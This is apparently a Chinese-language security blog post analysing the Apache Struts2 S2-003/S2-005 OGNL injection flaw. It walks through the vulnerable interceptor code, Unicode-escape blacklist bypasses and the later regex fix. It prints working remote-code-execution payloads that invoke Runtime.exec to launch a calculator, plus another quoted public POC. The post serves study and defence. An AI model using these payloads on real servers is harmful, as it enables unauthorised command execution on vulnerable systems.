Struts2 漏洞分析系列 - S2-003&S2-005/初识首个通用Struts2框架漏洞

 

0x00 漏洞概述

S2-003的漏洞核心在于Struts2中的ParametersInterceptor(某个拦截器)会对请求中的参数名称进行OGNL的表达式解析,虽然有一定的过滤,但是过滤的不完全导致被绕过。

影响版本:2.0.0~2.1.8.1

官方issue地址:https://cwiki.apache.org/confluence/display/WW/S2-003

官方issue地址:https://cwiki.apache.org/confluence/display/WW/S2-005

 

0x01 环境搭建

S2-003的执行流程与S2-001不同,主要区别在于S2-003中必须包含一个Action,否则无法走到漏洞触发的流程,因此首先需要搭建一个漏洞环境。

首先编写一个LoginAction用于模拟登陆过程:

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
    private String username;
    private String password;

    public String getUsername() {
        return username;
    }

    public String getPassword() {
        return password;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String execute() throw Exception {
        if (this.username == null || this.password == null) {
            return "failed";
        }

        if (this.username.equals("admin") && this.password.equals("admin")) {
            return "success";
        }

        return "failed";
    }

    public static void main(String[] args) {

    }
}

LoginAction的继承关系如下:

随后写一个struts.xml:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">

<struts>
    <package name="st2-demo" extends="struts-default">
        <action name="login" class="LoginAction">
            <result name="success">index.jsp</result>
        </action>
    </package>
</struts>

这样我们就算是写好了一个login.action的路由了,直接启动Tomcat访问login.action即可使用LoginAction中execute的逻辑,当用户名与密码正确时会跳转到index.jsp中。

 

0x02 漏洞分析

在之前的文章中有介绍过,Struts2的执行流程中涉及一个叫拦截器的东西,Struts2自带了许多拦截器,在请求到达真正的Action前会进行一系列处理,并在执行完毕后重新调用一次用于做请求完毕的清理。

S2-003的漏洞就出在其中的ParametersInterceptor上,在Struts2的执行流程中,首先会调用每个拦截器的doIntercept对请求进行处理,首先看看ParametersInterceptor的doIntercept方法:

com.opensymphony.xwork2.interceptor.ParametersInterceptor#doIntercept
public String doIntercept(ActionInvocation invocation) throws Exception {
        Object action = invocation.getAction();
        if (!(action instanceof NoParameters)) {
            ActionContext ac = invocation.getInvocationContext();
            Map parameters = ac.getParameters();
            if (LOG.isDebugEnabled()) {
                LOG.debug("Setting params " + this.getParameterLogMap(parameters));
            }

            if (parameters != null) {
                Map contextMap = ac.getContextMap();

                try {
                    OgnlContextState.setCreatingNullObjects(contextMap, true);
                    OgnlContextState.setDenyMethodExecution(contextMap, true);
                    OgnlContextState.setReportingConversionErrors(contextMap, true);
                    ValueStack stack = ac.getValueStack();
                    this.setParameters(action, stack, parameters);
                } finally {
                    OgnlContextState.setCreatingNullObjects(contextMap, false);
                    OgnlContextState.setDenyMethodExecution(contextMap, false);
                    OgnlContextState.setReportingConversionErrors(contextMap, false);
                }
            }
        }

        return invocation.invoke();
    }

上述代码,首先获取了当前请求对应的Action,也就是之前编写好的LoginAction,随后获取在前面拦截器中封装完毕的Action上下文,并获取了当前请求中的参数。

随后当参数不为空时,会为ContextMap设置三个键,分别为xwork.NullHandler.createNullObjects、xwork.MethodAccessor.denyMethodExecution、report.conversion.errors,其值都被设置为true。最后获取了ValueStack并调用了setParameters方法,传入三个参数分别为LoginAction、ValueStack、parameters。

相关参数值如下:

com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters
protected void setParameters(Object action, ValueStack stack, Map parameters) {
        ParameterNameAware parameterNameAware = action instanceof ParameterNameAware ? (ParameterNameAware)action : null;
        Map params = null;
        if (this.ordered) {
            params = new TreeMap(this.getOrderedComparator());
            params.putAll(parameters);
        } else {
            params = new TreeMap(parameters);
        }

        Iterator iterator = params.entrySet().iterator();

        while(true) {
            Entry entry;
            String name;
            boolean acceptableName;
            do {
                if (!iterator.hasNext()) {
                    return;
                }

                entry = (Entry)iterator.next();
                name = entry.getKey().toString();
                acceptableName = this.acceptableName(name) && (parameterNameAware == null || parameterNameAware.acceptableParameterName(name));
            } while(!acceptableName);

            Object value = entry.getValue();

            try {
                stack.setValue(name, value);
            } catch (RuntimeException var13) {
                if (devMode) {
                    String developerNotification = LocalizedTextUtil.findText(ParametersInterceptor.class, "devmode.notification", ActionContext.getContext().getLocale(), "Developer Notification:\n{0}", new Object[]{var13.getMessage()});
                    LOG.error(developerNotification);
                    if (action instanceof ValidationAware) {
                        ((ValidationAware)action).addActionMessage(developerNotification);
                    }
                } else {
                    LOG.error("ParametersInterceptor - [setParameters]: Unexpected Exception caught setting '" + name + "' on '" + action.getClass() + ": " + var13.getMessage());
                }
            }
        }
    }

从代码中去看,setParameters这个参数主要用于解析请求中的参数并将其设置到ValueStack这个栈中,在这里通过一个while循环取出参数名name,接着调用了acceptableName来判断允许解析。

当满足如下条件时,acceptableName返回true:

  • name中不包含=
  • name中不包含,
  • name中不包含#
  • name中不包含:

当满足上述条件时,会跳出while循环,并获取请求中的value,调用ValueStack#setValue来设置值:

com.opensymphony.xwork2.util.OgnlValueStack#setValue
public void setValue(String expr, Object value) {
        this.setValue(expr, value, devMode);
    }

com.opensymphony.xwork2.util.OgnlValueStack#setValue
public void setValue(String expr, Object value, boolean throwExceptionOnFailure) {
        Map context = this.getContext();

        try {
            String msg;
            try {
                context.put("conversion.property.fullName", expr);
                context.put("com.opensymphony.xwork2.util.ValueStack.ReportErrorsOnNoProp", throwExceptionOnFailure ? Boolean.TRUE : Boolean.FALSE);
                OgnlUtil.setValue(expr, context, this.root, value);
            } catch (OgnlException var11) {
                if (throwExceptionOnFailure) {
                    msg = "Error setting expression '" + expr + "' with value '" + value + "'";
                    throw new XWorkException(msg, var11);
                }

                if (LOG.isDebugEnabled()) {
                    LOG.debug("Error setting value", var11);
                }
            } catch (RuntimeException var12) {
                if (throwExceptionOnFailure) {
                    msg = "Error setting expression '" + expr + "' with value '" + value + "'";
                    throw new XWorkException(msg, var12);
                }

                if (LOG.isDebugEnabled()) {
                    LOG.debug("Error setting value", var12);
                }
            }
        } finally {
            OgnlContextState.clear(context);
            context.remove("conversion.property.fullName");
            context.remove("com.opensymphony.xwork2.util.ValueStack.ReportErrorsOnNoProp");
        }

    }

在setValue中主要在ContextMap设置了两个值,fullName代表了请求中key的完整值,随后继续调用OgnlUtil.setValue,传入四个参数分别为expr(key)、context(ContextMap)、this.root(RootContext)、value。

com.opensymphony.xwork2.util.OgnlUtil#setValue
public static void setValue(String name, Map context, Object root, Object value) throws OgnlException {
        Ognl.setValue(compile(name), context, root, value);
    }

ognl.Ognl#setValue
public static void setValue(Object tree, Map context, Object root, Object value) throws OgnlException {
        OgnlContext ognlContext = (OgnlContext)addDefaultContext(root, context);
        Node n = (Node)tree;
        n.setValue(ognlContext, root, value);
    }

在setValue方法中可以看到,这里首先将name(也就是key)编译为AST Node,随后调用AST Node的setValue方法设置值,后续的调用流程就不细跟了,在S2-001中可以发现最终的OGNL解析实现在getValue,然而在setValue这也会对key进行一次OGNL解析,因此也存在对应的表达式解析的漏洞。

在前面的调用流程中我们知道,前面在ContextMap中添加了一个键xwork.MethodAccessor.denyMethodExecution,其值为false,这个键影响到后续OGNL解析时是否可以调用方法,而此处为false,我们需要先将其修改为true。

那么怎么修改呢?在前面的学习中我们了解到,在OGNL中实现赋值的方式有两种:

Ognl.getValue(compile("id=123"),context,root,resultType) // 将root对象的id属性赋为123
Ognl.getValue(compile("#request.name='liming',#request.name"),context,root,resultType) // 将context中request对象的name属性赋为liming,并将其返回

那么我们是否可以通过#xwork.MethodAccessor.denyMethodExecution=false直接将contextMap中的这个键设置为false?答案是不行的…因为在OGNL中.代表访问属性,上面的OGNL语句代表访问xwork下的MethodAccessor这个属性,然而ContextMap中没有xwork这个对象,更不可能存在MethodAccessor这个属性了,因此我们需要换一种方法。

在OGNL中我们可以通过数组的方式获取一个对象中的属性,这点与Python的SSTI很像,即可以通过#context['xwork.MethodAccessor.denyMethodExecution']获取到这个属性,这下子获取属性的问题解决了,但是怎么赋值呢?

注意这是setValue而非getValue,最终是需要执行一个set的操作的,set必然操作的是一个对象而非undefined,而OGNL的AssignNode最终返回的肯定是一个undefined,因此我们没有办法直接通过#context['xwork.MethodAccessor.denyMethodExecution']=false来赋值,我们需要让这个OGNL最后返回一个对象让setValue执行set操作。

在之前的学习中可以了解到,一行OGNL的表达式可以通过,被拆分为多个OGNL表达式,并且最终这个表达式返回的是最后一个,所返回的值,通过这个思路,POC就可以完美的写出来了:#context['xwork.MethodAccessor.denyMethodExecution']=false,#request

这个POC最终返回的是ContextMap中的request,自然也支持set操作,不会报错,不影响后续的执行。现在属性设置完毕了,执行命令也就简单了,在上述POC中插入S2-001执行命令的POC即可。

最终POC:

#context['xwork.MethodAccessor.denyMethodExecution']=false,@java.lang.Runtime@getRuntime().exec('open -a /System/Applications/Calculator.app')#request

接下来需要解决最后一个问题,在前面acceptableName的过滤中,限制了name中不能出现几个关键字符,我们需要绕过这个。

在OGNL中支持Unicode编码,当其遇到\时会首先触发相关解码,随后再进行解析,利用这个特性,我们可以将黑名单中的字符转为unicode编码来绕过。

最终转换后的POC:

\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse\u002c@java.lang.Runtime@getRuntime().exec('open -a /System/Applications/Calculator.app')\u002c\u0023request

至于为什么OGNL在compile时会解析Unicode,这点在https://xz.aliyun.com/t/2323中有过相关解释了,没什么好讲的,fastjson也会有这样的处理,都是为了兼容某些环境的运行情况而做的一个处理。

 

0x03 修复方案

对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,即在原有基础上添加allowStaticAccess这么一个过滤。

然鹅治标不治本,官方似乎没有意识到漏洞的核心在于黑名单被绕过,所以后续产生了S2-005这么一个漏洞,原理与S2-003相同,只不过POC中将allowStaticAccess设为true罢了:_memberAccess[‘allowStaticAccess’]=true.

最后的修复方案自然是修补黑名单了,从根本上解决Unicode编码、八进制编码绕过的安全问题:

protected boolean acceptableName(String name) {
        return this.isAccepted(name) && !this.isExcluded(name);
    }

protected boolean isAccepted(String paramName) {
        if (!this.acceptParams.isEmpty()) {
            Iterator i$ = this.acceptParams.iterator();

            Matcher matcher;
            do {
                if (!i$.hasNext()) {
                    return false;
                }

                Pattern pattern = (Pattern)i$.next();
                matcher = pattern.matcher(paramName);
            } while(!matcher.matches());

            return true;
        } else {
            return this.acceptedPattern.matcher(paramName).matches();
        }
    }

这里主要是增加了一个acceptedPattern:

private String acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+";

如果payload和之前一样,通过\u\x之类的方式绕过,会被这里的正则匹配到:

因此就没有办法通过\u等方式绕过acceptableName的过滤了。

 

0x04 一点吐槽

网上的分析文章中主要存在几个容易让新手产生误区的点:

  1. 漏洞只能在Tomcat6下复现(URLENCODE即可解决)
  2. Payload过于复杂化(都是照搬的,完全不讲Payload的原理,只讲如何到触发OGNL表达式注入)

以其中的一篇文章中的POC为例:

('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)

这个POC,相信大家看了都会有一个疑问,为什么有unicode编码?这个括号是什么?这个bla是什么?这个&号是什么?然鹅这些作者都没有解释,而是直接代入到了OGNL表达式解析这块。

实际上做漏洞分析的时候,大家应该以挖掘者的身份去思考,这个点被过滤了,我要怎么绕?绕过的第一步是什么?而不是直接放网上公开的POC,然后自己开始瞎JB分析。

 

0x05 漏洞总结

通过本篇的分析我们可以了解到S2-003与S2-005的核心在于ParametersInterceptor在对请求中的参数进行解析时会对key进行OGNL的表达式解析,并且过滤不严谨,可以通过编码绕过。

S2-003与S2-005算是Struts2框架的通用问题,其不需要依赖于某个特定的写法,即不属于安全开发规范中,所以影响范围相比于S2-001会更广一些(S2-001依赖于标签)。

(完)